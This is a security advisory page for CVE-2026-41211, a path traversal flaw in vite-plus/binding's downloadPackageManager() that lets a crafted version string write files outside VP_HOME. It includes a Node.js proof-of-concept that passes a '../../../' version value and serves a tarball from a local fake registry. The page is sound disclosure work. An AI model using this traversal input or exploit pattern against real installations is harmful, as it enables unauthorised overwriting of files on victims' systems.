CVE-2026-41211: Path traversal in vite-plus/binding downloadPackageManager() writes outside VP_HOME
Summary downloadPackageManager() in vite-plus/binding accepts an untrusted version string and uses it directly in filesystem paths. A caller can supply ../ segments to escape the VPHOME/packagemanager/ / cache root and cause Vite+ to delete, replace, and populate directories outside the intended cache location.
Published Apr 16, 2026 · Updated May 6, 2026
Affected packages
vite-plus
- Ecosystem
- npm
- Affected
- <= 0.1.16
- Fixed in
- 0.1.17
- Check
npm ls vite-plus
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
downloadPackageManager() in vite-plus/binding accepts an untrusted version string and uses it directly in filesystem paths. A caller can supply ../ segments to escape the VP_HOME/package_manager/<pm>/ cache root and cause Vite+ to delete, replace, and populate directories outside the intended cache location.
Details
The public vite-plus/binding export downloadPackageManager() forwards options.version directly into the Rust package-manager download flow without validating that it is a normal semver version.
That value is used as a path component when building the install location under VP_HOME. After the package is downloaded and extracted, Vite+:
- computes the final target directory from the raw
versionstring, - removes any pre-existing directory at that target,
- renames the extracted package into that location, and
- writes executable shim files there.
Because the CLI validates versions via semver::Version::parse() before calling this code, the protection that exists for normal vp create, vp migrate, and vp env flows does not apply to direct callers of the binding. A programmatic caller of vite-plus/binding can pass traversal strings such as ../../../escaped and break out of VP_HOME.
PoC
import fs from "node:fs";
import http from "node:http";
import os from "node:os";
import path from "node:path";
import { downloadPackageManager } from "vite-plus/binding";
const tgz = Buffer.from(
"H4sIAH/B1GkC/+3NsQqDMBjE8W/uU4hTXUwU0/dJg0irTYLR9zftUnCWQvH/W+645aJ1ox16dX94FX181e6Z5GA6u3XdJ7N9at223/7em8YYI4WWH1jTYud8L+fkgk9h6uspDNcyjGV1EQAAAAAAAAAAAAAAAADAH9gAb+vJ9QAoAAA=",
"base64",
);
const vpHome = fs.mkdtempSync(path.join(os.tmpdir(), "vp-home-"));
const version = "../../../vite-plus-escape";
const escapedRoot = path.resolve(vpHome, "package_manager", "pnpm", version);
const escapedInstallDir = path.join(escapedRoot, "pnpm");
process.env.VP_HOME = vpHome;
const server = http.createServer((req, res) => {
res.writeHead(200, { "content-type": "application/octet-stream" });
res.end(tgz);
});
await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
const { port } = server.address();
process.env.npm_config_registry = `http://127.0.0.1:${port}`;
const result = await downloadPackageManager({
name: "pnpm",
version,
});
server.close();
console.log("VP_HOME =", vpHome);
console.log("installDir =", result.installDir);
console.log("escaped =", escapedInstallDir);
console.log("shim exists =", fs.existsSync(path.join(escapedInstallDir, "bin", "pnpm")));
// installDir is outside VP_HOME, and <escaped>/pnpm/bin/pnpm is createdImpact
A caller that can influence downloadPackageManager() input can escape the Vite+ cache directory and make the process overwrite attacker-chosen directories outside VP_HOME. When combined with the supported custom-registry override (npm_config_registry), this becomes attacker-controlled file write outside the intended install root.
Mitigating factors
- Normal CLI usage is not affected. All built-in CLI paths (
vp create,vp migrate,vp env) validate the version string viasemver::Version::parse()before it reachesdownloadPackageManager(). - The vulnerability is only reachable by programmatic callers that import
vite-plus/bindingdirectly and pass an untrusted version string. - No known downstream consumers pass untrusted input to this function.
- Exploitation requires the attacker to already be executing code in the same Node.js process.
Credited to Jvr2022.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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